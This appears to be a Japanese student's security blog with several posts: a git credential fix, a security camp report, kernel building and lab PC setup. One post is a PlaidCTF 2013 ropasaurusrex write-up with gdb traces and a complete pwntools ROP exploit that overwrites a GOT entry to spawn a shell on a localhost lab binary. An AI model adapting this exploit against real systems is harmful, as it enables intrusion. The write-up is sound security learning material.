1日ひとつだけ強くなる

おべんきょうのーと

Githubでhttpsを使っているのに403: Permission denied エラーが出た話

はじめに

gitを利用するすべての初心者に捧げます

目次

検証環境

$ sw_vers 
ProductName:    Mac OS X
ProductVersion: 10.11.6
BuildVersion:   15G1510
$ uname -a
Darwin hal0taso-2.local 15.6.0 Darwin Kernel Version 15.6.0: Tue Apr 11 16:00:51 PDT 2017; root:xnu-3248.60.11.5.3~1/RELEASE_X86_64 x86_64
$ git --version
git version 2.10.1 (Apple Git-78)

問題の概要

githubでpushすると以下のようなエラーが出ます。403 Forbiddenというやつです。

git push -u origin master
remote: Permission to hal00taso/test403error.git denied to hal0taso.
fatal: unable to access 'https://github.com/hal00taso/test403error.git/': The requested URL returned error: 403

おかしい….httpsを使っているはずなのに…と思って調べてみました

原因

原因は、リポジトリhal00taso/test403errorにpushする権限を持たないユーザーhal0taso(今回のケースでは0が一つ多いことに注意してください)でpushしようとしているためです。

リモートリポジトリにhttp(s)で接続していて認証が必要な場合には、基本的には毎回ログインを求められます。また、二段階認証が必要なシステムの場合、そのトークンはランダムかつunpronounceableなため、更に大変になります。この煩わしさを回避するためにGit にはcredential helperという認証情報を一時的、半永久的に記憶する仕組みがあり、ユーザーがいちいち認証情報を入力する手間を省いてくれます。特にmacではcredential helperにosxkeychainを設定することで、Macのキーチェーンアクセスで管理された認証情報を使用します。

そこで、現在有効になっている設定を確認してみましょう。

$ git config --list
credential.helper=osxkeychain
user.name=hal0taso
user.email=[YOUR EMAIL]
core.excludesfile=/Users/hal0taso/.gitignore_global

1行目を確認すると、確かにcredengial helperが有効になっていることが確認できます。

これはデフォルトの場合パスを無視してしまうため、前回github.comにログインしたユーザー名で認証しようとして失敗することが原因です。

対策

この対策としては以下の4つが挙げられます。

  1. https://hal00taso@github.com/としてURLにユーザー名を含める
  2. 全く記憶しないようにする: configからcredential.helperを消す
  3. 記憶している情報を消す: git credential reject コマンドを使う
  4. 記憶する際にパスも考慮するようにする: credential.useHttpPathtrueにする
  5. Macの場合、osx-keychainの認証情報を更新する

[2017/7/4追記] hubコマンドを使えという嬉しいマサカリが id:jtwp470 から飛んできたので、こちらに追記させていただきます。hubコマンドも対策必要です。 github.com

なお、gitの設定とそれが記述されているファイルパスは以下のようにして調べることができます。

$ git config --list --show-origin
file:/Applications/Xcode.app/Contents/Developer/usr/share/git-core/gitconfig    credential.helper=osxkeychain
file:/Users/hal0taso/.gitconfig user.name=hal0taso
file:/Users/hal0taso/.gitconfig user.email=[YOUR EMAIL]
file:/Users/hal0taso/.gitconfig core.excludesfile=/Users/hal0taso/.gitignore_global

これを確認してみると、Macの場合はXcodeによって設定されているようです。

macでのOSX Keychainシステムの認証情報の更新、削除に関しては以下のリンクを参照してください。OSX Keychainシステムとは、Keychain Access.appから認証情報を取得する仕組みのことです。

Updating credentials from the OSX Keychain - User Documentation

[おまけ] git credential helperの裏側

さて、ではcredential helperはどのようにして動作しているのでしょうか。Gitのcredential helperのための基本的なコマンドはgit credentialです。これは、コマンドに引数を渡して、更に標準入力から必要な情報をとって利用されます。

例をみてみましょう。以下のようにgit credential fillと端末上で入力することで、Git-credentialの対話モードを開始することができます。

$ git credential fill
protocol=https
host=github.com

protocol=https
host=github.com
username=hal0taso
password=PASSWORD

まず、Git-credentialは標準入力からの入力を待機します。ここでは現在わかっている情報である、プロトコル(https)とホスト名(github.com)を入力します。空白行を渡すことでGit-credentialに入力が完了したことを知らせます。すると、その入力にヒットした内容が標準出力に表示されます。

この情報を渡すことによって、ユーザーは認証情報を入力する必要がなくなります。

より詳しい解説はGitの以下のページにあるので、そちらを読んでみることをおすすめします。

Git - 認証情報の保存

参考

Git - Credential Storage

Updating credentials from the OSX Keychain - User Documentation

git - githubへgit pushしようとすると403エラーとなる - スタック・オーバーフロー

osx - How do you reset the stored credentials in git credential-osxkeychain? - Stack Overflow

Gitで有効な設定を確認したい - Qiita

セキュリティミニキャンプ神戸に参加してきた

はじめに

7/1にセキュリティミニキャンプ神戸に参加してきました。

ハッカーペネトレーションテスター)の考え方とハンズオン

田中ザックさん講師のもと、前半はハッカーとは?ハッカの考え方を知ろうという講義を受けました。

エクスプロイトコードが公開されるとセキュリティリスクが2段階上がるという話は初見で、実務的な話を聞けてとてもよかったです。

後半はペネトレーションテスト形式のCTFにチャレンジしました。writeupを簡単に書こうと思ったのですが、諸事情により来月以降に更新します。

実はMetasploitを使用するのは初めてだったので、とてもいい経験をさせてもらいました。

フラグは3つあって、当日は2つまでしか見つけられなかったのですが、ちゃんと最後に権限昇格までして3つめのフラグまで獲得することができました。 と言っても既存のPoCを動かしてみただけですが、その脆弱性について勉強するきっかけになり、また簡単にrootが取れるのを目の当たりにして、とても恐ろしい脆弱性だなぁと思いました(KONAMI

お昼ご飯

お昼はチューターの某くんにGSoCの話とかいろいろ聞かせてもらいました。

ハニーポットを用いた分析ハンズオン

ハニーポットとは?という話と、いろいろなハニーポット、実際にハニーポットを構築して、カスタマイズするハンズオンを行いました。

ここでは、Dionaeaというハニーポットを使ってハニーポットVM上に設置し、ログを解析しました。またそこにwebページを設置することでカスタマイズして、自分だけのハニーポットを作ろう!という講義でした。

Dionaeaはハエトリグサの意味で、主にマルウェア収集などの目的で利用されるハニーポットです。 提供サービスはSMB , HTTP , HTTPS , FTP , TFTP , MSSQL , MySQL , SIPで、例えば少し前に流行っていたのWannaCryの収集にも使われていたりもします。

当日UbuntuVMが配布され、そこにDionaeaをインストールして、nginxでワードプレスを動かしてより本物のサービスに似せていく、ということをハンズオンで行いました。また、ポートスキャンやログインの試行など、実際に攻撃することで出力されるログについて見ていきました。

SSHの低対話型ハニーポットのCowrieは使ったことがあったのですが、Dionaeaを設置したり、ハニーポットをカスタマイズしていくのは初めてで、とても勉強になりました。 sqliteのファイルでログを出力してくれていたので、データの可視化なども楽に行えそうでとても使いやすそうな印象でした。

またラズパイに導入して使ってみたいと思います。

感想

とてもいい勉強になりました。特に、ペネトレーションテスト形式のCTFはとても面白く、しかもツールを使うことで初心者の人でも敷居が低くなるのではないかと思いました(当日は、講義の中でザックさんの解説や資料にコマンドの説明が入っていたのもあるかと思います)。

ポートスキャンから動いているサービスを見つけて脆弱性を探していって権限昇格まで目指す、というのはとても面白くて、知らないことがたくさん出てくるので学ぶことも多く、またツールを使って手軽にできるので、テンポよく進めることができるので、とても楽しかったです。

CTFでVMを配布してそれを攻略してもらうってのはとてもいい方法だなぁと思ったので、勉強会でやってみたい良さそうなネタができました。

togetterでもまとめられてたみたいです。

togetter.com

PlaidCTF 2013: ropasaurusrex - 200 *Level1*

動機

先週末はgoogleCTF参加したんですが、EasyのInstProfではバイナリの解析してからが進めませんでした。

writeupを見たら限られた4バイトでROP組んでて、そういえばROPに苦手意識があったのを思い出した。

そこでkatagaitai勉強会の資料を一部参考にしながら、ropの問題を解いてみた。 なお、katagaitai資料にはLevel5まであり、まだLevel1しかとけていないのだが、これも順次解いてwriteupを上げていきたい。

speakerdeck.com

毎度ながらkatagaitaiの資料にはたくさん学ぶことがある….

ropasaurusrex

問題のバイナリはここら辺から。

http://shell-storm.org/repo/CTF/PlaidCTF-2013/Pwnable/ropasaurusrex-200/

いかにもROP使いますって問題なので、まずは事前調査してみる。

$ file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped
$ checksec ropasaurusrex
[*] '/home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ELF 32bitでstrippedなバイナリ。セキュリティ機構はNXのみ。

実行してみる

まずは実行してみる。

$ ./ropasaurusrex 
AAAA
WIN

標準入力からの入力を待ち受けていて、何か入力すると"WIN"って帰ってくる。Canaryもないし、BOFかなぁ〜と思ってidaで解析してみると、mainで呼ばれている関数(ここではgetInputと呼ぶことにする)にBOF脆弱性があることがわかる。

f:id:hal0taso:20170625165505p:plain

みると、バッファのサイズは88byteなのに256byte分だけreadしている。そこで、EIPが取れるか確認してみる。

$ gdb ./ropasaurusrex -q
$ r
Starting program: /home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b

Program received signal SIGSEGV, Segmentation fault.
[-------------------------------registers--------------------------------]
EAX: 0x100 
EBX: 0xf7fb3000 --> 0x1abda8 
ECX: 0xffffd070 ("AAA%AAsAABAA$AA"...)
EDX: 0x100 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41514141 (b'AAQA')
ESP: 0xffffd100 ("RAAnAASAAoAATAA"...)
EIP: 0x41416d41 (b'AmAA')
[----------------------------------code----------------------------------]
Invalid $PC address: 0x41416d41
[---------------------------------stack----------------------------------]
00:0000| esp 0xffffd100 ("RAAnAASAAoAATAA"...)
01:0004|     0xffffd104 ("AASAAoAATAApAAU"...)
02:0008|     0xffffd108 ("AoAATAApAAUAAqA"...)
03:0012|     0xffffd10c ("TAApAAUAAqAAVAA"...)
04:0016|     0xffffd110 ("AAUAAqAAVAArAAW"...)
05:0020|     0xffffd114 ("AqAAVAArAAWAAsA"...)
06:0024|     0xffffd118 ("VAArAAWAAsAAXAA"...)
07:0028|     0xffffd11c ("AAWAAsAAXAAtAAY"...)
[------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ 
gdb-peda$ patto AmAA
AmAA found at offset: 140
gdb-peda$ 

140byte以降でEIPを奪えることがわかった。

ROP

xinetd型の問題なので、system("/bin/sh")を呼んでやればよい。しかし、今回はNXが有効なので、shellcodeを流し込むにしてもスタック内での実行が不可能である。こういう時はmmapまたはmprotectでRWX属性のメモリ領域を確保してやるなどする必要があるが、バイナリではどちらの関数も利用していないので、pltエントリにはなく、libcから呼んでやる必要がある。libcのアドレスわかってるならlibcから呼んだ方が早いので、libcからsystemを呼ぶことにする。そのためにはlibcのベースアドレスを知る必要がある。まず、pltエントリとgotエントリを調べてみる。

$ objdump -d -M intel ./ropasaurusrex | grep "@plt>:" -A 1
080482fc <__gmon_start__@plt>:
 80482fc:   ff 25 10 96 04 08       jmp    DWORD PTR ds:0x8049610
--
0804830c <write@plt>:
 804830c:   ff 25 14 96 04 08       jmp    DWORD PTR ds:0x8049614
--
0804831c <__libc_start_main@plt>:
 804831c:   ff 25 18 96 04 08       jmp    DWORD PTR ds:0x8049618
--
0804832c <read@plt>:
 804832c:   ff 25 1c 96 04 08       jmp    DWORD PTR ds:0x804961c

readとwriteが使えるっぽい。GOT OverwriteでGOTの適当な関数を書き換えてやればよくて、あとは/bin/shなんだけど、これは資料を参考にさせてもらった。具体的には、書き込み可能なセクション(今回は.dataセクションにした)に文字列/bin/shをreadとかで書いてやって、関数の引数としてスタックに積む時は.dataセクションのアドレスを入れてやればよい。(なるほど〜〜〜〜)

攻撃の方針としては、

  1. write(1(stdout), write@got, 4)でlibcでwriteがどこにロードされているのか調べる
  2. read(0(stdin), .data, 8)で.dataセクションに/bin/sh\x00を書き込む
  3. read(0(stdout), write@got, 4)でwriteのGOTをsystemのアドレスに書き換えてやる。

この時、それぞれスタックに引数が溜まっていくので、バイナリ中のpopxN retとなるコード片を利用してスタックの引数を除去してやればよい(ROPっぽい…!)そのようなコード片はrp++とか使えば見つかる。今回はいずれも3つ引数が積まれている状態を想定しているので、pop3ret的なのを探す。

$ rp-lin-x64 -f ./ropasaurusrex -r 4 | grep pop
# 中略 
0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)

使ってるlibcからsystemのアドレスを確認しておく。

$ ldd ./ropasaurusrex
    linux-gate.so.1 =>  (0xf7798000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75c4000)
    /lib/ld-linux.so.2 (0x565ff000)
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
00040310 T __libc_system
0011b710 T svcerr_systemerr
00040310 W system

Exploit

上記の情報から、エクスプロイトを記述していく。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch = 'i386', os = 'linux')
#context.log_level="debug"

r = remote('localhost', 1025)
# EXPLOIT CODE GOES HERE

# for debug
def bp():
    input()

'''
# Exploit plan
- get libc address
- call write(1, write@got, 4) -> get libc_write
- call read(0, .data, 8) -> set '/bin/sh\x00'
- call read(0, write@got, 4) -> overwrite write to system
- call system('/bin/sh')

# stack plan
---------
write@plt
---------
pop3ret
---------
1(stdout)
---------
write@got
---------
4
---------
read@plt
---------
pop3ret
---------
0(stdin)
---------
.data
---------
8
---------
read@plt
---------
pop3ret
---------
0(stdin)
---------
write@plt
---------
4
---------
write@plt(system)
---------
0xdeadbeef
---------
.data('/bin/sh')
---------
'''
got_write     = 0x08049614

plt_write     = 0x0804830c
plt_read      = 0x0804832c

offset_system = 0x00040310
offset_write  = 0x000dd300

pop3ret       = 0x080484b6
addr_data     = 0x08049620

# build rop
buf = 'A'*140
buf += p32(plt_write)
buf += p32(pop3ret)
buf += p32(1) + p32(got_write) + p32(4)

buf += p32(plt_read)
buf += p32(pop3ret)
buf += p32(0) + p32(addr_data) + p32(8)

buf += p32(plt_read)
buf += p32(pop3ret)
buf += p32(0) + p32(got_write) + p32(4)

buf += p32(plt_write)
buf += p32(0xdeadbeef)
buf += p32(addr_data)
r.send(buf)


ret = u32(r.recv())
print('write@got: {}'.format(hex(ret)))
print('libc_start: {}'.format(hex(ret - offset_write)))
addr_system = ret - offset_write + offset_system
print('system: {}'.format(hex(addr_system)))

r.send('/bin/sh'+'\x00')

buf = p32(addr_system)
r.send(buf)

r.interactive()

これでシェルが起動する。

$ socat tcp-listen:1025,reuseaddr,fork exec:./ropasaurusrex
$ ./exploit.py 
[+] Opening connection to localhost on port 1025: Done
write@got: 0xf76ad300
libc_start: 0xf75d0000
system: 0xf7610310
[*] Switching to interactive mode
$ whoami
ubuntu

感想

ROP、基本的な考えとしてはバイナリ中の実行権限のある既存のコード片(ROPガジェット)をうまく組み合わせてExploitを記述しよう!という考え方なので、まずは攻撃のプランを具体的に組み立てる能力が必要なのでは、と思った。 基礎的な知識や経験が手を動かさないうちに抜けて行ってしまうので(当然)これからもやっていくぞ!という気持ちです。

院試が終わって一息ついたらもっと時間とってやりたい。

カーネルをソースコードからビルドする

はじめに

カーネルをビルドする時というのは誰にでもやってくる可能性がある。カーネル脆弱性についてのPoCやオリジナルのエクスプロイトを動かしてみたい時、カーネルモジュールを作ってみたくなった時、自分でカーネルのチューニングをしてみたくなった時など。

今回は某の課題でカーネルをビルドして脆弱性を再現するという目的で試してみたので、そこでやったことと、調べたことをまとめておく。

やっていき

softwaretechnique.jp

このサイト参考にしてカーネルのビルドしたんだけど、うまくいかなかった。

と思ったら、こちらの記事をみると、makeを使ってビルドできるとのことなので、こちらを参考にして試したことを書いていく。

itpro.nikkeibp.co.jp

itpro.nikkeibp.co.jp

ソースのダウンロード

まず、以下のリンクから/usr/src/ディレクトリにwgetなどで任意のバージョンのカーネルのtarballをダウンロードして、展開する。

https://cdn.kernel.org/pub/linux/kernel/

# cd /usr/src/
# wget https://cdn.kernel.org/pub/linux/kernel/v3.x/linux-3.8.1.tar.gz
# tar xf linux-3.8.1.tar.gz

一応、linuxというシンボリックリンクを貼っておくのがいい。カーネルのソースを使うプログラムでは、この場所をカーネルのソースだとしているものもあるためである。

# ln -s linux-3.8.1 linux

コンパイル

# cd linux-3.8.1
# make oldconfig

これで.configファイルを生成する。カーネルの設定を変更する際には、manuconfigコマンドを使用すれば良い。僕の場合はSMAP機能を無効化したかっただけなので、直接.configファイルのCONFIG_X86_SMAP=nに変更した。

カーネル2.6以降はmakeだけでいいようだ。 また、動的にモジュールを組み込むカーネルとしてコンパイルした場合には,ローダブル・モジュールのコンパイルが別途必要になる。

# make
# make modules

インストー

# make modules_install
# make install

これで、再起動すれば新しいカーネルで起動することができる。

デフォルトで起動するカーネルを変更する

デフォルトで起動するカーネルを変更したい場合は、/boot/grub/grub.cfgを編集すればよい。

以下の部分を変更する。

#                                                                                                                      
# DO NOT EDIT THIS FILE                                                                                                
#                                                                                                                      
# It is automatically generated by grub-mkconfig using templates                                                       
# from /etc/grub.d and settings from /etc/default/grub                                                                 
#                                                                                                                      

### BEGIN /etc/grub.d/00_header ###                                                                                    
if [ -s $prefix/grubenv ]; then
  set have_grubenv=true
  load_env
fi
if [ "${next_entry}" ] ; then
   set default="${next_entry}"
   set next_entry=
   save_env next_entry
   set boot_once=true
else
   # この行を編集
   set default="gnulinux-advanced-66cbee71-3ca7-4246-b214-139f7331adc3>gnulinux-3.18.25-advanced-66cbee71-3ca7-4246-b2\
14-139f7331adc3"
fi

#########
# 以下略 #
#########

det default=のところを編集する。

gnulinux-advanced-66cbee71-3ca7-4246-b214-139f7331adc3は既に記述されていた部分で、末尾に>gnulinux-3.18.25-advanced-66cbee71-3ca7-4246-b214-139f7331adc3を追記する。

ここの追記する内容は、submenu 'Advanced options for Ubuntu'ってところに書いてある。

起動したいバージョンのmenuentryから、

 menuentry 'Ubuntu, with Linux 3.8.1' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_opt\
ion 'gnulinux-3.8.1-advanced-66cbee71-3ca7-4246-b214-139f7331adc3'

ここの末尾のgnulinux-3.8.1-advanced-66cbee71-3ca7-4246-b214-139f7331adc3に対応する部分を追記すればいい。

たぶん起動できるはず。

(grubのところは思い出しながら書いてるので、間違ってることとかエラー出たとかあればコメントしてほしい)

セキュリティキャンプ全国大会 2017 に応募してきたので応募用紙と感想

2017年6月16日追記

セキュリティキャンプ2017年受かりました。たくさん学んできます。

はじめに

セキュリティキャンプ全国大会に応募してきました。

www.ipa.go.jp

この一ヶ月間はほとんどこの応募課題に取り組んでいました。選択課題はA-4,A-5,A-6に取り組みました。理由は、リバースエンジニアリング系に興味があり、今回のセキュリティキャンプでは主にその講義を受講したいと思ったためです。また、問題をパッと見たときに全くわからなかったので、1ヶ月あるから十分に手を動かす時間はあるし、面白そうだからという理由で選択しました。

考察が甘かったり、表現が間違っていることが多々あるかとは思いますが、大目に見るかコメントでマサカリを投げてくれると助かります><

設問の感想

回答がとても長いため、先に感想を書いておきます。正直この1ヶ月はめちゃくちゃ大変でしたが、今思い返すと初めて挑戦することばかりだったので、いい勉強になりました。また、問題を解きながら更にセキュリティキャンプに行きたい気持ちが高まっていきました。

選択問題は以下の問題を回答しました。

  • A-4
  • A-5
  • A-6

A-4 printf()について調べる問題

A-4のprintf()について調べる課題は、最初にglibcソースコードを読もうとしたらあまりの分量にビビって、gdbで動かしながら内部で呼ばれている関数やその引数を調査して行いました。この後で動きを確認するためにソースコードを読んでみると以前より若干読めるようになっていて、glibcカーネルのソースを読むことに対するハードルが低くなったように思います。デバッガの出力や逆アセンブル結果を貼ったら1万字を超えていたので提出時に焦りましたが、なんとか提出することができました。しかし、他の方のwriteupをみていると、とてもうまくまとまっていて、自分みたいにやってみたことをつらつらと書いていく方針でやったのは少し読みにくかったのかなぁと反省しています。

A-5 カーネルの権限昇格の脆弱性の再現

A-5のCVE-2016-0728のexploit問題とかは結局フォーラムのコメントに上がっていたことを実際に実験して検証してみて、VMが落ちるところまでしかできず、また自分のexploitを記述できたわけではなく拾い物のPoCしか試せなかったのがとても悔しいです。この問題を解く前に、katagaitai勉強会のUAF勉強会の資料を読んでweird_snusとかを解析してみたりしたんですが、結局最後までできなかったり、(今回の脆弱性は参照カウンタのオーバーフローを利用した攻撃で、しかも自由に一般ユーザー権限でプログラムを実行できるという状況だったため。言い訳かもしれないですが…)カーネルメッセージはダンプしたもののそれを読んで分析することができなかったりと、まだまだできないことがたくさんあり、自分の未熟さを痛感しました。しかし、今回の問題で初めてカーネルのエクスプロイトの実証に取り組んでみて、カーネルソースコードや機能についてのドキュメントを読むことで、さらにLinuxカーネルについて学びたい気持ちが強くなりました。(というかこういうことも回答として書いてもいいことを他の人のwriteupを読んで気づいた…)

A-6 PEファイルフォーマットの解析

A-6のPEの解析では、デバッガによるx86プログラム解析や、リバースエンジニアリングバイブルの前半を読んだことはあったのですが、自分で解析プログラムを1から実装してみることで、ヘッダの構造やメンバについてより詳しく知ることができたと思います。本を読むだけではなく、手を動かして学んでいく必要があると再度認識させられました。また、gnu binutilsの実装について調べてみたのもあって、意外な発見もありました。あとは開発意欲が刺激されたのも大きいです。

最後に

今思えば、去年の今頃は簡単なスタックBOFの問題も解けなくて、64bitと32bitでアドレスの長さがどう変わるかも知らない。アセンブリレジスタすら知らない。低レイヤーに興味はあるけど何もやったことがない。という状態だったことを考えると、少しはできること、知ってることが増えてたのかなぁと思います。それも、CODE BLUEの学生スタッフとして参加して、そこで出会った同期や先輩、後輩がセキュリティだけでなく広い分野で活躍していることに大きく刺激を受けた結果かなぁと思います。本当に感謝です。

また、応募課題にフィードバックをくれた同期にはとても感謝しています。こちらで改めてお礼を言いたいと思います。

以下、各設問の回答です。またしばらくしてこれを読む頃には黒歴史だから…って言えるくらいに強くなろうと思います。

2017年6月16日追記

長いのでこちらにまとめました。興味のある人はみてください。

Seccap17.md · GitHub

ツイッターリムった人わかるの使ったけど結構萎える

スパムは踏まないようにしよう!

研究室生活が始まった。

はじめに

新学期の季節がやってきた。今日は午前中からMTG、午後は割り当てられた研究室のPCにLubuntu 16.10を導入した。前日の深夜3時くらいまでラボのメンバーのツイッター垢をReconしてたら寝不足になった。環境構築の手順をまとめる丁度いい機会なので、メモを取りながら導入したものを公開。

機体の紹介

古そうなやつだった。NECのMateシリーズかな??図書館とかにありそうな感じ。 スペックのメモ取るの忘れたけど、デザインが古いだけで別に悪くない。

f:id:hal0taso:20170403221617p:plain

画像検索してみた。そうそうこんな感じ。

最初にまとめ

インストーラの作成

isoイメージはここから

lubuntu | lightweight, fast, easier

書き込み

hal0taso.hateblo.jp

インストー

インストールするだけ。sda,sdbの2つのHDDが存在したので、sdaにインストー

sdbの初期化

sdbがもう一つのHDDなのはまぁdmesgとか使えばわかる。まずは現在のパーティションの確認から。

$ sudo fdisk -l
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot    Start       End   Sectors   Size Id Type
/dev/sdb1  *        2048  16779263  16777216     8G 27 Hidden NTFS WinRE
/dev/sdb2       16779264 976764927 959985664 457.8G  7 HPFS/NTFS/exFAT

sdb1sdb2の2つのパーティションが存在することがわかり、これを一旦消去する。

$ sudo fdisk /dev/sdb

Welcome to fdisk (util-linux 2.28.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot    Start       End   Sectors   Size Id Type
/dev/sdb1  *        2048  16779263  16777216     8G 27 Hidden NTFS WinRE
/dev/sdb2       16779264 976764927 959985664 457.8G  7 HPFS/NTFS/exFAT

Command (m for help): d
Partition number (1,2, default 2): 

Partition 2 has been deleted.

Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot Start      End  Sectors Size Id Type
/dev/sdb1  *     2048 16779263 16777216   8G 27 Hidden NTFS WinRE

Command (m for help): d
Selected partition 1
Partition 1 has been deleted.

Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.

新しい領域を確保する。

$ sudo fdisk /dev/sdb

Welcome to fdisk (util-linux 2.28.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Command (m for help): n
Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p): p
Partition number (1-4, default 1):  
First sector (2048-976773167, default 2048): 
Last sector, +sectors or +size{K,M,G,T,P} (2048-976773167, default 976773167): 

Created a new partition 1 of type 'Linux' and of size 465.8 GiB.

Command (m for help): p
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot Start       End   Sectors   Size Id Type
/dev/sdb1        2048 976773167 976771120 465.8G 83 Linux

Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.

OS の非同期書き込みを考慮して、念のためもう一度 sync させておく。

$ sync

できた。一応確認する。

$ sudo fdisk -l
Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x76260085

Device     Boot Start       End   Sectors   Size Id Type
/dev/sdb1        2048 976773167 976771120 465.8G 83 Linux

ubuntuのデフォルトのファイルシステムext4だったので、sdb1のfsも変更

$ sudo mkfs.ext4 /dev/sdb1
mke2fs 1.43.3 (04-Sep-2016)
/dev/sdb1 contains a ntfs file system labelled 'Windows RE'
Proceed anyway? (y,n) y
Creating filesystem with 122096390 4k blocks and 30531584 inodes
Filesystem UUID: b00fa6cd-6146-4204-80c6-60ec7e2bdf0a
Superblock backups stored on blocks: 
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 
    4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968, 
    102400000

Allocating group tables: done                            
Writing inode tables: done                            
Creating journal (262144 blocks): done
Writing superblocks and filesystem accounting information: done     

マウントポイントを作成し、そこに/dev/sdb1のHDDをマウントする。

$ sudo mkdir /mnt/sdb
$ sudo mount /dev/sdb1 /mnt/sdb

最後にマウントできているかどうかの確認。

$ mount | grep sdb1
/dev/sdb1 on /mnt/sdb type ext4 (rw,relatime,data=ordered)

Caps LockをCtrlに置換

$ sudo nano /etc/default/keyboard

XKBOPTIONSを以下のように変更

# KEYBOARD CONFIGURATION FILE

# Consult the keyboard(5) manual page.

XKBMODEL="pc105"
XKBLAYOUT="jp"
XKBVARIANT=""
XKBOPTIONS="ctrl:nocaps" 
BACKSPACE="guess"

再起動する

$ sudo reboot

アップデート

$ sudo apt update
$ sudo apt upgrade

テキストエディタ

テキストエディタにはemacsを使っている。25.1をインストール。

$ sudo add-apt-repository ppa:kelleyk/emacs
$ sudo apt install emacs25
$ emacs --version

feh, urxvt, ranger, xmonad

$ sudo apt install rxvt-unicode-256color feh ranger caca-utils highlight atool w3m poppler-utils mediainfo xmonad

xmonad入れたけど使いこなせる自信がなさすぎる

日本語入力

$ sudo apt install fctx-mozc

まず、System Settings - Language Support - Keyboard input method system: fcitxを選択。初回起動時には”The language support is not installed completely” と表示されるので、Install を選択しておく。

一度Logout。再Login後、Application - Fcitx Configuration - Input Method Configuration - Input Methodから、Onlu Show Current Languageのチェックボックスを外し、Japanese - MozcをCurrent Input Method に追加。

Global Config - Hotkey - Trigger Input Method から切り替える時のホットキーの設定をして完了。

NASを使う

弊ラボのNASはsambaを使用しているらしい。

$ sudo apt install cifs-utils
$ sudo mkdir /mnt/nas
$ sudo mount.cifs //<NAS's IP Address>/share /mnt/nas/ -o password=XXXX

ついでに最初にフォーマットしてマウントしたsdbと一緒に、再起動時にマウントされるよう、/etc/fstabに記述しておく。

$ sudo nano /etc/fstab
# LAB
//<NAS's IP Address>/share /mnt/nas/ username=XXXX, password=YYYY 0 0

# sdb
/dev/sdb1 /mnt/sdb ext4 defaults 0 0

参考

hddのフォーマットについて Linux CentOS 外付けHDDのフォーマットとマウント

fsまとめ Linuxファイルシステムをまとめてみました - Qiita

感想

今日はこれで半日、というか1日が終わった。xmonadも使いこなせていないし、この機会にzshデビューしたい。環境がだんだん古くなって互換が効かなくなっている部分があり、なんとかしないとという気持ち。

早く基礎的な知識をつけて、論文とか読んでいきたい気持ちだ〜〜〜〜。つよいオタクになりたい。

研究室の雰囲気も賑やかで好きな感じですし、今年度は社会性を保ったまま平穏な日々を過ごせそうです。

とりあえず続きをやるとしたら明日以降になる。